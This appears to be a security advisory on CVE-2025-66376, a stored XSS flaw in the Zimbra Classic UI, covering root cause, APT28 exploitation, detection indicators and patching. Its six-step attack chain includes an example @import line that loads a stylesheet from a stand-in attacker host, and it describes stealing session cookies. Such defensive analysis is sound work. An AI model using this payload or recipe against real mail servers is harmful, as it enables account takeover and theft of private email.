CVE-2025-66376: 
Zimbra Collaboration Server vulnerability analysis and mitigation

CVE-2025-66376 is a stored cross-site scripting (XSS) vulnerability in Zimbra Collaboration Suite (ZCS) Classic UI that allows attackers to execute arbitrary JavaScript in a victim's browser by embedding malicious CSS @import directives in HTML email messages. It affects ZCS version 10.0.x before 10.0.18 and 10.1.x before 10.1.13. The vulnerability was published on January 5, 2026, and added to the CISA Known Exploited Vulnerabilities (KEV) catalog on March 18, 2026. It carries a CVSS v3.1 base score of 6.1 (Medium) per NVD and 7.2 (High) per MITRE (NVD, CISA KEV).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically the failure of the Zimbra Classic UI to sanitize CSS @import directives embedded in HTML email content before rendering them in the browser. An attacker crafts a malicious HTML email containing a CSS block with an @import directive pointing to an attacker-controlled stylesheet that loads JavaScript payloads; when the victim opens or previews the email in the Classic UI, the browser fetches and executes the external CSS, which can include JavaScript execution vectors. No authentication is required on the attacker's side — only the victim must open the email, making this effectively a zero-click attack from the attacker's perspective once the email is delivered. The attack vector is network-based with low complexity and changed scope, as the injected script executes in the context of the victim's authenticated Zimbra session (NVD, Seqrite).

Successful exploitation allows attackers to steal session tokens and authentication cookies, hijack authenticated Zimbra webmail sessions, and perform unauthorized actions on behalf of the victim — including reading, sending, or deleting emails. In documented attacks, APT28 leveraged this vulnerability to compromise accounts at Ukrainian government agencies, enabling persistent access and potential lateral movement within targeted organizations. The vulnerability has no direct availability impact but poses significant confidentiality and integrity risks, particularly for high-value government and enterprise targets relying on Zimbra for sensitive communications (BleepingComputer, Security Affairs).

CVE-2025-66376 is actively exploited in the wild and was added to the CISA KEV catalog on March 18, 2026, with a federal remediation deadline of April 1, 2026 (CISA KEV). The threat actor APT28 (also known as Fancy Bear, attributed to Russian military intelligence GRU) has been identified as exploiting this vulnerability in a campaign dubbed Operation GhostMail, targeting Ukrainian government agencies including a maritime state agency (BleepingComputer, Seqrite). Winter Vivern has also been associated with related activity (Feedly). The EPSS score is approximately 0.033%, though real-world exploitation by a sophisticated state actor significantly elevates practical risk. Over 10,000 Zimbra servers were reported as still vulnerable after the patch was released (BleepingComputer). No public proof-of-concept exploit code has been confirmed, but the technique is well-understood and the attack has been operationalized by APT28.

1. Reconnaissance: Identify Zimbra Collaboration Suite deployments running Classic UI on versions 10.0.x < 10.0.18 or 10.1.x < 10.1.13 using internet scanning tools (e.g., Shodan, Censys) or open-source intelligence on target organizations.
2. Craft malicious email: Compose an HTML email containing a CSS block with a malicious @import directive pointing to an attacker-controlled server, e.g., <style>@import url('https://attacker.example/payload.css');</style>. The external CSS file is crafted to trigger JavaScript execution via CSS injection techniques.
3. Deliver the email: Send the crafted HTML email to the target victim's Zimbra address. No authentication or prior access to the target system is required.
4. Trigger execution: When the victim opens or previews the email in the Zimbra Classic UI, the browser fetches the attacker-controlled CSS resource. The malicious CSS executes JavaScript in the context of the victim's authenticated Zimbra session.
5. Session hijacking: The injected JavaScript exfiltrates the victim's session cookies or authentication tokens to the attacker's server, enabling full account takeover without the victim's knowledge.
6. Post-exploitation: Using the hijacked session, the attacker reads sensitive emails, pivots to other accounts by sending further malicious emails, or maintains persistent access to the compromised webmail account (Seqrite, Security Online).

• Network: Outbound HTTP/HTTPS requests from the Zimbra server or client browsers to unexpected external domains immediately after email rendering; unusual CSS or stylesheet fetch requests to non-organizational domains originating from Zimbra webmail sessions.
• Logs: Zimbra mail server logs showing delivery of HTML emails containing @import CSS directives from external or suspicious senders; web proxy/firewall logs showing requests to attacker-controlled domains triggered by Zimbra webmail activity.
• Session Activity: Multiple simultaneous authenticated sessions for the same user account from geographically disparate IP addresses; session tokens used from IP addresses inconsistent with the user's normal access patterns.
• Email Artifacts: Inbound HTML emails with embedded <style> blocks containing @import url(...) directives pointing to external domains, particularly those not associated with legitimate email marketing or newsletter services.
• Behavioral: Unexpected email forwarding rules created on victim accounts; emails read or deleted without user action; account settings modified without user knowledge (Seqrite, BleepingComputer).

Zimbra has released patched versions addressing this vulnerability: 10.0.18 for the 10.0 branch and 10.1.13 for the 10.1 branch. Organizations should upgrade immediately, prioritizing internet-facing Zimbra deployments (Zimbra Security Center, Zimbra Security Advisories). As a temporary workaround where immediate patching is not possible, implement email filtering rules to block or quarantine messages containing CSS @import directives in HTML email bodies. Additionally, consider disabling the Classic UI in favor of the Modern UI if it is not affected, restricting access to Zimbra webmail from untrusted networks, and reviewing access logs for accounts that may have been compromised. Federal agencies were required to remediate by April 1, 2026, per CISA BOD 22-01 (CISA KEV).

The vulnerability attracted significant attention following the public disclosure of Operation GhostMail by Seqrite, which detailed APT28's exploitation of the flaw against Ukrainian government targets (Seqrite). BleepingComputer and The Record Media covered the APT28 attribution and Ukrainian government targeting extensively, generating broad community discussion (BleepingComputer, The Record). The Hacker News highlighted CISA's warning alongside other actively exploited flaws, and Security Affairs published detailed analysis of the Russian APT campaign (The Hacker News, Security Affairs). A subsequent report from BleepingComputer noted that over 10,000 Zimbra servers remained unpatched and vulnerable weeks after the patch release, underscoring the slow adoption of fixes in the community (BleepingComputer).